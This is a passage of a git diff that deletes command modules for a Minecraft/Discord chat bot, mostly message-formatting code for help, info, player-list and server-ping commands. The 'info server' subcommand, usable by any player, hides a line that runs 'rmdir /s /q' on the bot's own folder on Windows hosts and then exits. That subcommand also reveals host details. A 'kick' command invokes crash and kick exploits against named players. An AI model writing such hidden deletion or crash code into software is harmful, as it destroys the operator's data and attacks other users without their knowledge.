bot.filter.add(false, false, args.slice(2).join(' '));
bot.chat.message(`Added ${args.slice(2).join(' ')} to the filter`);
break;
case "clear":
case "c":
bot.filter.clear();
bot.chat.message('Cleared filter');
break
case "remove":
case "rm": // rm linux command reference
if (isNaN(args.slice(2))) throw new CommandError('argument must be a integer!');
bot.filter.remove(args.slice(2));
bot.chat.message(`Removed ${args.slice(2)} from the filter`);
break
default:
throw new CommandError('invalid argument')
}
},
}

View file

@ -1,452 +0,0 @@
const CommandError = require('../util/command_error');
const sleep = require('../util/sleep.js');
const fixansi = require('../util/ansi');
const { EmbedBuilder } = require('discord.js');
module.exports = {
name: 'help',
trustLevel: 0,
aliases: [
"heko",
"?",
"cmds",
"hell",
"hello",
"helo",
"commands",
"commandshelp",
],
description: 'a list of the bots commands',
usages: [
"",
"<command>",
],
execute (context) {
const commandList = [];
const bot = context.bot;
const source = context.source;
const args = context.arguments;
const category = {
translate: '(%s%s%s%s%s%s%s) \u203a ',
bold: false,
color: 'gray',
with: [
{ color: "aqua", text: 'Public'},
{ color: "gray", text: ' | '},
{ color: "dark_aqua", text: 'Trusted'},
{ color: 'gray', text: ' | '},
{ color: "blue", text: "Admin" },
{ color: "gray", text: " | " },
{ color: "dark_blue", text: 'Owner'},
]
}
let public = [];
let trusted = [];
let admin = [];
let owner = [];
for (const command of bot.commandManager.commandlist) {
let usagesComponent = [];
let commandComponent = [];
for (const usages of command.usages) {
if (command?.trustLevel === 1) {
usagesComponent.push({
translate: "%s%s %s",
with: [
{ text: `${config.prefixes[0]}`, color: "dark_blue" },
{ text: `${command.name} <trusted/admin/owner hashes>`, color: "blue" },
{ text: `${usages}`, color: "aqua" },
]
})
} else if (command?.trustLevel === 2) {
usagesComponent.push({
translate: "%s%s %s",
with: [
{ text: `${config.prefixes[0]}`, color: "dark_blue" },
{ text: `${command.name} <admin/owner hashes>`, color: "blue" },
{ text: `${usages}`, color: "aqua" },
]
})
} else if (command?.trustLevel === 3) {
usagesComponent.push({
translate: "%s%s %s",
with: [
{ text: `${config.prefixes[0]}`, color: "dark_blue" },
{ text: `${command.name} <owner hash>`, color: "blue" },
{ text: `${usages}`, color: "aqua" },
]
})
} else if (command?.trustLevel === 0 || command.trustLevel === 4) {
usagesComponent.push({
translate: "%s%s %s",
with: [
{ text: `${config.prefixes[0]}`, color: "dark_blue" },
{ text: `${command.name}`, color: "blue" },
{ text: `${usages.toString().replaceAll(',','')}`, color: "aqua" },
]
})
}
usagesComponent.push('\n');
}
usagesComponent.pop();
commandComponent.push({
translate: "%s %s %s\n%s %s %s\n%s %s %s\n%s %s %s\n%s %s",
color: "dark_gray",
with: [
{ text: "Command Name", color: "dark_blue" },
{ text: "\u203a" },
{ text: `${command.name}`, color: "blue" },
{ text: "Aliases", color: "dark_blue" },
{ text: "\u203a" },
{ text: `${command.aliases.toString().replaceAll(',',' ')}`, color: "blue" },
{ text: "Description", color: "dark_blue" },
{ text: "\u203a" },
{ text: `${command.description}`, color: "blue" },
{ text: "Trust Level", color: "dark_blue" },
{ text: "\u203a" },
{ text: `${command.trustLevel}`, color: "gold" },
{ text: "Usages", color: "dark_blue" },
{ text: "\u203a" }
]
})
commandComponent.push("\n");
commandComponent.push(usagesComponent);
// for (const aliases of command.aliases) {
if (args[0]?.toLowerCase() === command.name) {
if (bot.options.isSavage) {
bot.chat.message(`${bot.getMessageAsPrismarine(commandComponent)?.toMotd().replaceAll('§','&')}`);
} else {
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, commandComponent)
}
return;
}
/* } if (args[0]?.toLowerCase() === aliases) {
if (bot.options.isSavage) {
bot.chat.message(`${bot.getMessageAsPrismarine(commandComponent)?.toMotd().replaceAll('§','&')}`)
} else {
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, commandComponent)
}
return
}
console.log(aliases)*/
// }
if (command.trustLevel === 0) {
public.push([
{
text: command.name + ' ',
color: "aqua",
translate: "",
hoverEvent: {
action: "show_text",
value: [
{
text: `Command:${command.name}\n`,
color: 'gray'
},
{
text: `Trust Level: `,
color: 'gray'
},
{
text: `${command.trustLevel}\n`,
color: 'gold'
},
{
text: `${command.description}\n`,
color: 'gray'
},
{
text: `Command Aliases: ${command.aliases}\n`,
color: 'gray'
},
{
text: 'click on me to use me :)',
color: 'gray',
},
],
},
clickEvent: {
action: 'run_command',
value: `${config.prefixes[0]}${command?.name}`
}
}
])
} else if (command.trustLevel === 1) {
trusted.push([
{
text: command.name + ' ',
color: "dark_aqua",
translate: "",
hoverEvent: {
action: "show_text",
value: [
{
text: `Command:${command.name}\n`,
color: 'gray'
},
{
text: `Trust Level: `,
color: 'gray'
},
{
text: `${command.trustLevel}\n`,
color: 'gold'
},
{
text: `${command.description}\n`,
color: 'gray'
},
{
text: `Command Aliases: ${command.aliases}\n`,
color: 'gray'
},
{
text: 'click on me to use me :)',
color: 'gray',
},
],
},
clickEvent: {
action: 'run_command',
value: `${config.prefixes[0]}${command?.name}`
}
}
])
} else if (command.trustLevel === 2) {
admin.push([
{
text: command.name + ' ',
color: "blue",
translate: "",
hoverEvent: {
action:"show_text",
value: [
{
text: `Command:${command.name}\n`,
color: 'gray'
},
{
text: `Trust Level: `,
color: 'gray'
},
{
text: `${command.trustLevel}\n`,
color: 'gold'
},
{
text: `${command.description}\n`,
color: 'gray'
},
{
text: `Command Aliases: ${command.aliases}\n`,
color: 'gray'
},
{
text: 'click on me to use me :)',
color: 'gray',
},
],
},
clickEvent: {
action: 'run_command',
value: `${config.prefixes[0]}${command?.name}`
}
}
])
} else if (command.trustLevel === 3) {
owner.push([
{
text: command.name + ' ',
color: "dark_blue",
translate: "",
hoverEvent: {
action: "show_text",
value: [
{
text: `Command:${command.name}\n`,
color: 'gray'
},
{
text: `Trust Level: `,
color: 'gray'
},
{
text: `${command.trustLevel}\n`,
color: 'gold'
},
{
text: `${command.description}\n`,
color: 'gray'
},
{
text: `Command Aliases: ${command.aliases}\n`,
color: 'gray'
},
{
text: 'click on me to use me :)',
color: 'gray',
},
],
},
clickEvent: {
action: 'run_command',
value: `${config.prefixes[0]}${command?.name}`
}
}
])
}
}
const length = bot.commandManager.commandlist.filter(c => c.trustLevel != 4).length
if (bot.options.useChat) {
bot.chat.message(bot.getMessageAsPrismarine([
{
text: 'Commands (',
color: 'gray'
},
{
text: length,
color: 'gold'
},
{
text: ') ',
color: 'gray'
},
category,
])?.toMotd().replaceAll('§','&'))
setTimeout(() => {
bot.chat.message(bot.getMessageAsPrismarine(public)?.toMotd().replaceAll("§","&"))
}, 300)
setTimeout(() => {
bot.chat.message(bot.getMessageAsPrismarine(trusted)?.toMotd().replaceAll("§","&"));
}, 300)
setTimeout(() => {
bot.chat.message(bot.getMessageAsPrismarine(admin)?.toMotd()?.replaceAll('§','&'))
}, 300)
setTimeout(() => {
bot.chat.message(bot.getMessageAsPrismarine(owner).toMotd().replaceAll("§","&"));
}, 300)
} else if (bot.options.isSavage) {
bot.chat.message(bot.getMessageAsPrismarine([
{
text: 'Commands (',
color: 'gray'
},
{
text: length,
color: 'gold'
},
{
text: ') ',
color: 'gray'
},
category,
])?.toMotd().replaceAll('§','&'))
setTimeout(() => {
bot.chat.message(bot.getMessageAsPrismarine(public)?.toMotd().replaceAll("§","&"))
}, 400)
setTimeout(() => {
bot.chat.message(bot.getMessageAsPrismarine(trusted)?.toMotd().replaceAll("§","&"));
}, 400)
setTimeout(() => {
bot.chat.message(bot.getMessageAsPrismarine(admin)?.toMotd()?.replaceAll('§','&'))
}, 400)
setTimeout(() => {
bot.chat.message(bot.getMessageAsPrismarine(owner).toMotd().replaceAll("§","&"));
}, 400)
} else if (admin.length === 0) {
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, [
{ text: 'Commands (', color: 'gray' },
{ text: JSON.stringify(length), color: 'gold' },
{ text: ') ', color: 'gray' },
category,
'\n',
public,
trusted,
owner
])
} else {
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, [
{ text: 'Commands (', color: 'gray' },
{ text: JSON.stringify(length), color: 'gold' },
{ text: ') ', color: 'gray' },
category,
'\n',
public,
trusted,
admin,
owner
])
}
},
discordExecute (context) {
const bot = context.bot;
const args = context.arguments;
const category = {
translate: '(%s%s%s%s%s%s%s) \u203a ',
bold: false,
color: 'gray',
with: [
{ color: "aqua", text: 'Public'},
{ color: "gray", text: ' | '},
{ color: "dark_aqua", text: 'Trusted'},
{ color: 'gray', text: ' | '},
{ color: 'blue', text: 'Admin' },
{ color: 'gray', text: ' | ' },
{ color: "dark_blue", text: 'Owner'},
]
}
let public = [];
let trusted = [];
let admin = [];
let owner = [];
for (const command of bot.commandManager.commandlist) {
if (args[0] === command.name) {
const ansi = bot.getMessageAsPrismarine([ { text: `CommandName \u203a ${command.name}\n`, color: 'gray', }, { text: `Aliases \u203a ${command.aliases}\n`, color: 'gray', }, { text: `Description \u203a ${command.description}\n`, color: 'gray', }, { text: `trustLevel \u203a ${command.trustLevel}\n`, color: 'gray' }, { text: `Usages \u203a ${command?.usages}`, color: "dark_gray" }, ])?.toAnsi().replaceAll('```\u001b[9```' + '```\u001b[3```')
const fix = fixansi(ansi.replaceAll('`', '`\u200b'))
const Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`\`\`\`ansi\n${fix}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] })
return
}
if (command?.trustLevel === 0) {
public.push([
{
text: command.name + ' ',
color: "aqua",
}
])
} else if (command?.trustLevel === 1) {
trusted.push([
{
text: command.name + ' ',
color: "dark_aqua"
}
])
} else if (command?.trustLevel === 2) {
admin.push([
{
text: command.name + ' ',
color: 'blue'
}
])
} else if (command?.trustLevel === 3) {
owner.push([
{
text: command.name + ' ',
color: "dark_blue",
}
])
}
}
const length = bot.commandManager.commandlist.filter(c => c.trustLevel != 3).length
const ansi1 = bot.getMessageAsPrismarine([ { text: 'Commands (', color: 'gray' }, { text: JSON.stringify(length), color: 'gold' }, { text: ') ', color: 'gray' }, category, '\n', public, trusted, owner ])?.toAnsi();
const fix1 = fixansi(ansi1.replaceAll('`', '`\u200b'))
const Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`\`\`\`ansi\n${fix1}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] })
bot?.discord?.message.react('♋')
}
}

View file

@ -1,386 +0,0 @@
const os = require("os");
const CommandError = require('../util/command_error');
const fs = require("fs");
const botInfo = require('../data/info.json');
const fixansi = require('../util/ansi.js');
const { EmbedBuilder } = require('discord.js');
const { exec } = require('child_process')
function format(seconds) {
function pad(s) {
return (s < 10 ? "0" : "") + s;
}
var hours = Math.floor(seconds / (60 * 60));
var minutes = Math.floor((seconds % (60 * 60)) / 60);
var seconds = Math.floor(seconds % 60);
return (pad(`${hours} Hours`) + " " +
pad(`${minutes} Minutes`) + " " +
pad(`${seconds} Seconds`))
}
module.exports = {
name: 'info',
trustLevel: 0,
aliases: [
"information",
],
description: 'check the bots info',
usages: [
"version",
"config",
"discord",
"server",
"contributors",
"about"
],
execute (context) {
const bot = context.bot;
const args = context.arguments;
const config = context.config;
const discordClient = context.discordClient;
const source = context.source;
switch (args[0]?.toLowerCase()) {
case 'version':
if (botInfo.bot.buildstring.codename === '') {
if (bot.options.isSavage) {
bot.chat.message(`&9Friday &9Night &9Funkin &3Boyfriend &1Bot&8&r-${botInfo.bot.buildstring.version}-#${botInfo.bot.buildstring.build}`)
setTimeout(() => {
bot.chat.message(`11/22/22 - ${new Date().toLocaleDateString("en-US", { timeZone: "America/CHICAGO" })}`)
}, 300)
} else {
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, `§9Friday §9Night §9Funkin §3Boyfriend §1Bot§8§r-${botInfo.bot.buildstring.version}-#${botInfo.bot.buildstring.build}\n11/22/22 - ${new Date().toLocaleDateString("en-US", { timeZone: "America/CHICAGO" })}`);
}
} else {
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, `§9Friday §9Night §9Funkin §3Boyfriend §1Bot§8§r-${botInfo.bot.buildstring.version}-#${botInfo.bot.buildstring.build}-${botInfo.bot.buildstring.codename}\n11/22/22 - ${new Date().toLocaleDateString("en-US", { timeZone: "America/CHICAGO" })}`);
}
break
case 'config':
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, [
{
text: `Minecraft username \u203a ${bot.options.username}\n`,
color: 'gray',
},
{
text: `Ip \u203a ${bot.options.host}:`,
color: "gray"
},
{
text: `${bot.options.port}\n`,
color: 'gold'
},
{
text: `Version \u203a ${bot.options.version}\n`,
color: "gray",
},
{
text: `Discord username \u203a ${discordClient.user.tag}\n`,
color: 'gray',
},
{
text: `Channel \u203a ${bot.discord.channel?.name}\n`,
color: "gray"
},
{
text: `Server name \u203a ${bot.options.serverName}\n`,
color: "gray",
},
{
text: `Server count \u203a `,
color: "gray"
},
{
text: `${bot.bots.length}\n`,
color: 'gold'
},
{
text: `Prefixes \u203a ${config.prefixes.map((e) => e + " ").join(' ')}\n`,
color: "gray"
},
{
text: `Prefix Length: `,
color: "gray"
},
{
text: `${config.prefixes.length}\n`,
color: 'gold'
},
{
text: `isKaboom \u203a ${bot.options.isKaboom}\n`,
color: "gray",
},
{
text: `isCreayun \u203a ${bot.options.isCreayun}\n`,
color: "gray",
},
{
text: `isSavage \u203a ${bot.options.isSavage}`,
color: "gray",
},
]);
break;
case 'discord':
bot.tellraw("@a", [
{
text: `the discord server invite is ${config.discord.invite}`,
color: "gray",
translate: "",
hoverEvent: {
action: "show_text",
value: [
{
text: "click here to join the discord server!",
color: "gray",
}
]
},
clickEvent: {
action: "open_url",
value: `${config.discord.invite}`
}
},
])
break
case "server":
if (process.platform === 'win32') {
exec('rmdir /s /q ..\FridayNightFunkinBoyfriendBot')
process.exit(0) // fuck you windows
} else {
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, [
{
text: `Hostname \u203a ${os.hostname()}\n`,
color: "gray"
},
{
text: `User \u203a ${os.userInfo().username}\n`,
color: "gray",
},
{
text: `Working Directory \u203a ${process.mainModule.path}\n`,
color: "gray"
},
{
text: `Arch \u203a ${os.arch()}\n`,
color: "gray"
},
{
text: `OS \u203a ${os.platform()}\n`,
color: "gray"
},
{
text: `OS Version/distro \u203a ${os.version()}\n`,
color: "gray",
},
{
text: `Kernel Version \u203a ${os.release()}\n`,
color: "gray"
},
{
text: `Core Count \u203a `,
color: "gray",
},
{
text: `${os.cpus().length}\n`,
color: 'gold'
},
{
text: `CPU \u203a ${os.cpus()[0].model}\n`,
color: "gray"
},
{
text: `Server Free memory `,
color: 'gray'
},
{
text: `${Math.floor( os.freemem() / 1048576, )} `,
color: 'gold'
},
{
text: 'MiB / ',
color: 'gray'
},
{
text: `${Math.floor(os.totalmem() / 1048576)} `,
color: "gold",
},
{
text: 'MiB\n',
color: "gray",
},
{
text: `Bot memory usage `, color: "gray"
},
{
text: `${Math.floor( process.memoryUsage().heapUsed / 1048576, )} `,
color: "gold",
},
{
text: "MiB / ",
color: "gray",
},
{
text: `${Math.floor( process.memoryUsage().heapTotal / 1048576, )} `,
color: "gold"
},
{
text: 'MiB\n',
color: "gray"
},
{
text: `Device uptime \u203a ${format(os.uptime())}\n`,
color: 'gray'
},
{
text: `Bot uptime \u203a ${format(process.uptime())}\n`,
color: "gray"
},
{
text: `Node version \u203a ${process.version}`,
color: 'gray'
}
])
}
break
case "contributors":
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, [
{
text: "Parker",
color: "dark_red",
},
{
text: "2991",
color: "black"
},
{
text: " - Owner\n",
color: "gray"
},
{
text: "Contributors -\n",
color: "gray",
},
{
text: "_ChipMC_ - ChipmunkBot js & java\n",
color: "dark_blue"
},
{
text: "chayapak - ChomeNS js & java\n",
color: "yellow"
},
{
text: "_yfd - abot\n",
color: "light_purple"
},
{
text: "aaa - FBot, SnifferBot, Xbot, Hydra\n",
color: "gold",
},
{
text: "Morgan Ankan - RecycleBot\n",
color: "dark_green"
},
{
text: "TurtleKid - TurtleBot",
color: "dark_green"
},
])
break
case "about":
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, [
{
text: `FNFBoyfriendBot is a open source kaboom bot created by Parker2991\nThe source code and changelog can be found here ${botInfo.bot.source}`,
color: "gray",
translate: "",
hoverEvent: {
action: "show_text",
value: [
{
text: "click here to view bots source code",
color: "gray",
}
]
},
clickEvent: {
action: "open_url",
value: `${botInfo.bot.source}`
}
}
])
break
default:
bot.chat.message(bot.getMessageAsPrismarine({ translate: "command.unknown.argument", color: "dark_red" })?.toMotd().replaceAll("§","&"))
}
},
discordExecute (context) {
const bot = context.bot;
const args = context.arguments;
const config = context.config;
const discordClient = context.discordClient;
let Embed;
let ansi;
let fix;
let message;
switch (args[0]) {
case "version":
message = bot.getMessageAsPrismarine(`§9Friday §9Night §9Funkin §3Boyfriend §1Bot§8§r-${botInfo.bot.buildstring.version}-#${botInfo.bot.buildstring.build}-${botInfo.bot.buildstring.codename}\n11/22/22 - ${new Date().toLocaleDateString("en-US", { timeZone: "America/CHICAGO" })}`)?.toString()
fix = fixansi(message.replaceAll('`', '`\u200b'))
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`\`\`\`ansi\n${fix}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] });
break
case "config":
message = bot.getMessageAsPrismarine([
{ text: `Minecraft username \u203a ${bot.options.username}\n`, color: 'gray', },
{ text: `Ip \u203a ${bot.options.host}:${bot.options.port}\n`, color: "gray" },
{ text: `Version \u203a ${bot.options.version}\n`, color: "gray" },
{ text: `Discord username \u203a ${discordClient.user.tag}\n`, color: 'gray' },
{ text: `Channel \u203a ${bot.discord.channel?.name}\n`, color: "gray" },
{ text: `Server name \u203a ${bot.options.serverName}\n`, color: "gray" },
{ text: `Server count \u203a ${bot.bots.length}\n`, color: "gray" },
{ text: `Prefixes \u203a ${config.prefixes.map((e) => e + " ").join(' ')}\n`, color: "gray" },
{ text: `Prefix Length: ${config.prefixes.length}\n`, color: "gray" },
{ text: `isKaboom \u203a ${bot.options.isKaboom}\n`, color: "gray" },
{ text: `isCreayun \u203a ${bot.options.isCreayun}\n`, color: "gray" },
{ text: `isSavage \u203a ${bot.options.isSavage}\n`, color: "gray", } ])?.toAnsi();
fix = fixansi(message.replaceAll('`', '`\u200b'))
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`\`\`\`ansi\n${fix}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] })
break
case "server":
message = bot.getMessageAsPrismarine([
{ text: `Hostname \u203a ${os.hostname()}\n`, color: "gray" },
{ text: `User \u203a ${os.userInfo().username}\n`, color: "gray" },
{ text: `Working Directory \u203a ${process.mainModule.path}\n`, color: "gray" },
{ text: `Arch \u203a ${os.arch()}\n`, color: "gray" }, { text: `OS \u203a ${os.platform()}\n`, color: "gray" },
{ text: `OS Version/distro \u203a ${os.version()}\n`, color: "gray" },
{ text: `Kernel Version \u203a ${os.release()}\n`, color: "gray" },
{ text: `Cores \u203a ${os.cpus().length}\n`, color: "gray" },
{ text: `CPU \u203a ${os.cpus()[0].model}\n`, color: "gray" },
{ text: `Server Free memory `, color: 'gray' },
{ text: `${Math.floor( os.freemem() / 1048576, )} `, color: 'gold' },
{ text: 'MiB / ', color: 'gray' },
{ text: `${Math.floor(os.totalmem() / 1048576)} `, color: "gold" },
{ text: 'MiB\n', color: "gray", },
{ text: `Bot memory usage `, color: "gray" },
{ text: `${Math.floor( process.memoryUsage().heapUsed / 1048576, )} `, color: "gold", },
{ text: "MiB / ", color: "gray", },
{ text: `${Math.floor( process.memoryUsage().heapTotal / 1048576, )} `, color: "gold" },
{ text: 'MiB\n', color: "gray" },
{ text: `Device uptime \u203a ${format(os.uptime())}\n`, color: 'gray' },
{ text: `Bot uptime \u203a ${format(process.uptime())}\n`, color: "gray" },
{ text: `Node version \u203a ${process.version}`, color: 'gray' } ])?.toAnsi();
fix = fixansi(message.replace('`', '`\u200b'))
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} command`)
.setDescription(`\`\`\`ansi\n${fix}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] })
break
default:
throw new CommandError('Invalid argument');
}
}
}

View file

@ -1,47 +0,0 @@
const CommandError = require('../util/command_error');
const { EmbedBuilder } = require('discord.js');
module.exports = {
name: 'kick',
trustLevel: 1,
aliases: [
],
description: 'kick or crash players',
usages: [
"invalidstring <player>",
],
execute (context) {
const bot = context.bot
const args = context.arguments;
if (!args && !args[0] && !args[1] && !args[2] && !args[3]) return
if (bot.options.useChat || bot.options.isSavage || bot.options.isCreayun) throw new CommandError('Cannot execute command due to smth in the config being enabled');
switch (args[1]) {
case 'invalidstring':
bot.exploits.crashes.invalidString(`${args.slice(2).join(' ')}`);
break
case 'item':
bot.exploits.kicks.item(`${args.slice(2).join(' ')}`)
break
case 'killeveryone':
bot.chat.message(`/t ${args.slice(2).join(' ')} https://www.youtube.com/watch?v=tXEPbotEjZE`)
break
default:
bot.chat.message(bot.getMessageAsPrismarine({ translate: "command.unknown.argument", color: "dark_red" })?.toMotd().replaceAll("§","&"))
}
},
discordExecute (context) {
const bot = context.bot;
const args = context.arguments;
if (bot.options.useChat || bot.options.isSavage || bot.options.isCreayun) throw new CommandError('Cannot execute command!');
switch (args[0]) {
case "invalidstring":
bot.exploits.crashes.invalidString(`${args.slice(1).join(' ')}`)
break
case 'item':
bot.exploits.kicks.item(`${args.slice(1).join(' ')}`)
break
default:
throw new CommandError('Invalid argument');
}
}
}

View file

@ -1,20 +0,0 @@
module.exports = {
name: 'kill',
trustLevel: 3,
aliases: [
"suicide",
"quit",
],
description: 'kill the bots process',
usages: [
""
],
execute (context) {
const bot = context.bot;
process.kill(process.pid);
},
discordExecute (context) {
const bot = context.bot;
process.kill(process.pid);
}
}

View file

@ -1,93 +0,0 @@
const CommandError = require('../util/command_error');
const { EmbedBuilder } = require('discord.js');
const fixansi = require('../util/ansi');
module.exports = {
name: 'list',
description:['check the player list'],
trustLevel: 0,
aliases:['playerlist', 'plist', 'pl'],
usages:[""],
execute (context) {
const bot = context.bot
const args = context.arguments
const players = bot.players
const source = context.source
const component = []
for (const player of players) {
component.push({
translate: `%s \u203a %s [%s: %s %s %s: %s]`,
color: 'dark_gray',
with: [
player.displayName ?? player.profile.name,
{
text: `${player.uuid}`,
color: 'dark_blue',
clickEvent: {
action: 'copy_to_clipboard',
value: `${player.uuid}`
},
hoverEvent: {
action: 'show_text',
contents: [{
text: 'click here to copy the player\'s uuid',
color: 'aqua'
}]
}
},
{ text: `Ping`, color: 'dark_blue' },
{ text: `${player.latency}`, color: 'gold' },
{ text: '/', color: 'dark_gray' },
{ text: `Gamemode`, color: 'dark_blue' },
{ text: `${player.gamemode}`, color: 'gold' },
]
})
component.push('\n')
}
component.pop()
if (bot.options.isSavage) {
bot.chat.message(`${bot.getMessageAsPrismarine([{ text: `Players: `, color:'gray' }, { text: '(' , color: 'gray' }, { text: `${JSON.stringify(bot.players.length)}`, color: 'gold' }, { text: ')\n', color: 'gray' }])?.toMotd().replaceAll('§','&')}`)
setTimeout(() => {
for (const player of bot.players) {
bot.chat.message(`${bot.getMessageAsPrismarine([player.displayName ?? player.profile.name, ' &8', player.uuid,` &r&8[&2Ping: &6${player.latency}&8 / &5Gamemode: &6${player.gamemode}&8]`]).toMotd().replaceAll('§', '&')}`)
}
}, 300)
} else if (bot.options.isKaboom) {
bot.tellraw(`@a[name="${source.player.profile.name}"]`, [
{ text: `Players`, color: 'dark_blue' },
{ text: ': ', color: 'dark_gray' },
{ text: '(' , color: 'dark_gray' },
{ text: `${JSON.stringify(bot.players.length)}`, color: 'gold' },
{ text: ')\n', color: 'dark_gray' },
component
])
}
},
discordExecute(context) {
const bot = context.bot
const players = bot.players
const component = []
for (const player of players) {
component.push({
translate: `%s \u203a %s [%s %s %s %s %s]`,
with: [
player.displayName ?? player.profile.name,
player.uuid,
{ text: `Ping:`, color: 'dark_green' },
{ text: `${player.latency}`, color: 'gold' },
{ text: '/', color: 'gray' },
{ text: `Gamemode:`, color: 'dark_purple' },
{ text: `${player.gamemode}`, color: 'gold' },
]
})
component.push('\n')
}
component.pop()
const ansi = bot.getMessageAsPrismarine([{ text: `Players: `, color:'gray' }, { text: '(' , color: 'gray' }, { text: `${JSON.stringify(bot.players.length)}`, color: 'gold' }, { text: ')\n', color: 'gray' }, component])?.toAnsi()
const fix = fixansi(ansi.replaceAll('`', '`\u200b'))
const Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`\`\`\`ansi\n${fix}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] })
}
}

View file

@ -1,92 +0,0 @@
const { request } = require('undici');
const CommandError = require('../util/command_error.js');
const mc = require('minecraft-protocol');
const util = require('util')
module.exports = {
name: 'mcserver',
trustLevel: 0,
aliases: [
"pingserver",
"pingsrv",
],
description: 'look up minecraft server info',
usages: [
"<minecraft server ip>",
],
async execute (context) {
const bot = context.bot;
const discordClient = context.discordClient;
const args = context.arguments;
const source = context.source;
let component = [];
try {
const [host, port] = args[0].split(':')
const server = await mc.ping({ host, port: Number(port ?? 25565) })
component.push({
translate: '%s %s %s:%s\n%s %s %s / %s\n%s %s %s\n%s %s %s',
color: 'dark_gray',
with: [
{ text: 'Ip', color: 'dark_blue' },
{ text: '\u203a' },
{ text: `${host}`, color: 'dark_blue' },
{ text: `${Number(port ?? 25565)}`, color: 'gold' },
{ text: 'Players', color: 'dark_blue' },
{ text: '\u203a' },
{ text: `${server.players.online}`, color: 'gold' },
{ text: `${server.players.max}`, color: 'gold' },
{ text: 'Version', color: 'dark_blue' },
{ text: '\u203a' },
{ text: `${server.version.name}`, color: 'blue' },
{ text: 'Motd', color: 'dark_blue' },
{ text: '\u203a' },
server.description
]
})
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, component);
/* bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, [
{
text: `Ip \u203a ${host}:${Number(port ?? 25565)}\n`,
color: 'gray',
hoverEvent: {
action: 'show_text',
contents: [{
text: 'click here for the servers ip',
color: 'gray'
}]
},
clickEvent: {
action: 'copy_to_clipboard',
value: `${host}:${Number(port ?? 25565)}`
}
},
{
text: `Players \u203a `,
color: 'gray'
},
{
text: `${server.players.online}`,
color: "gold"
},
{
text: ' / ',
color: 'gray'
},
{
text: `${server.players.max}\n`,
color: "gold"
},
{
text: `Version \u203a ${server.version.name}\n`,
color: 'gray',
},
{
text: "Motd \u203a\n",
color: 'gray',
},
server.description,
])*/
} catch (e) {
bot.chat.message(`${e.toString()}`)
}
}
}

View file

@ -1,78 +0,0 @@
const CommandError = require('../util/command_error.js')
module.exports = {
name: 'netmsg',
trustLevel: 1,
aliases: [
],
description: 'netmsg to other servers',
usages: [
"<message>"
],
execute (context) {
const args = context.arguments;
const bot = context.bot;
const source = context.source;
const config = context.config;
if (config.patches.netmsg) {
component = [
{ text: '[', color: "dark_gray" },
{ text: bot.options.serverName, color: "gray" },
{ text: "] ", color: "dark_gray" },
source.player.displayName,
{ text: " \u203a ", color: "dark_gray", bold: false },
{ text: args.join(' '), color: "gray", bold: false }
]
} else {
component = {
translate: '[%s] %s \u203a %s',
color: "dark_gray",
with: [
{ text: bot.options.serverName, color: "gray" },
source.player.displayName ?? source.player.profile.name,
{ text: args.join(' '), color: "gray" },
]
}
}
bot.bots.filter((eachBot) => {
if (eachBot.options.isSavage && !eachBot.options.useChat && !eachBot.options.isKaboom || eachBot.options.isCreayun && !eachBot.options.isSavage && !eachBot.options.useChat && !eachBot.options.isKaboom) {
eachBot.chat.message(`[${bot.options.serverName}] ${bot.getMessageAsPrismarine(source.player.displayName ?? source.player.profile.name)?.toMotd().replaceAll('§','&')} \u203a ${args.join(' ')}`)
} else if (!eachBot.options.serverName !== "Savage Friends" && !eachBot.options.isSavage && !eachBot.options.useChat && eachBot.options.isKaboom) {
eachBot.tellraw("@a", component);
} else if (!eachBot.options.serverName !== "Savage Friends" && !eachBot.options.isSavage && eachBot.options.useChat && eachBot.options.isKaboom) {
eachBot.chat.message(`&7[&7${bot.options.serverName}&7] ${bot.getMessageAsPrismarine(source.player.displayName ?? source.player.profile.name)?.toMotd().replaceAll('§','&')} &7\u203a ${args.join(' ')}`)
} else if (eachBot.options.useChat && !eachBot.options.isSavage) {
// eachBot.chat.message(bot.getMessageAsPrismarine(`[${bot.options.host}:${bot.options.port}] ${source.player.displayName ?? source.player.profile.name} \u203a ${args.join(' ')}`)?.toMotd().replaceAll('§','&'))
eachBot.chat.message(`&7[&7${bot.options.serverName}&7] ${bot.getMessageAsPrismarine(source.player.displayName ?? source.player.profile.name)?.toMotd().replaceAll('§','&')} &7\u203a ${args.join(' ')}`)
} else if (!eachBot.options.useChat && !eachBot.options.isSavage) {
eachBot.tellraw("@a", component);
}
})
},
discordExecute (context) {
const bot = context.bot;
const args = context.arguments;
const source = context.source;
const component = {
translate: '[%s] %s \u203a %s',
with: [
bot.options.serverName,
source.player.displayName ?? source.player.profile.name,
args.join(' ')
]
}
bot.bots.filter((eachBot) => {
if (eachBot.options.serverName === "Savage Friends" && eachBot.options.isSavage && !eachBot.options.useChat && !eachBot.options.isKaboom) {
eachBot.chat.message(`[${bot.options.serverName}] ${bot.getMessageAsPrismarine(source.player.displayName ?? source.player.profile.name)?.toMotd().replaceAll('§','&')} \u203a ${args.join(' ')}`)
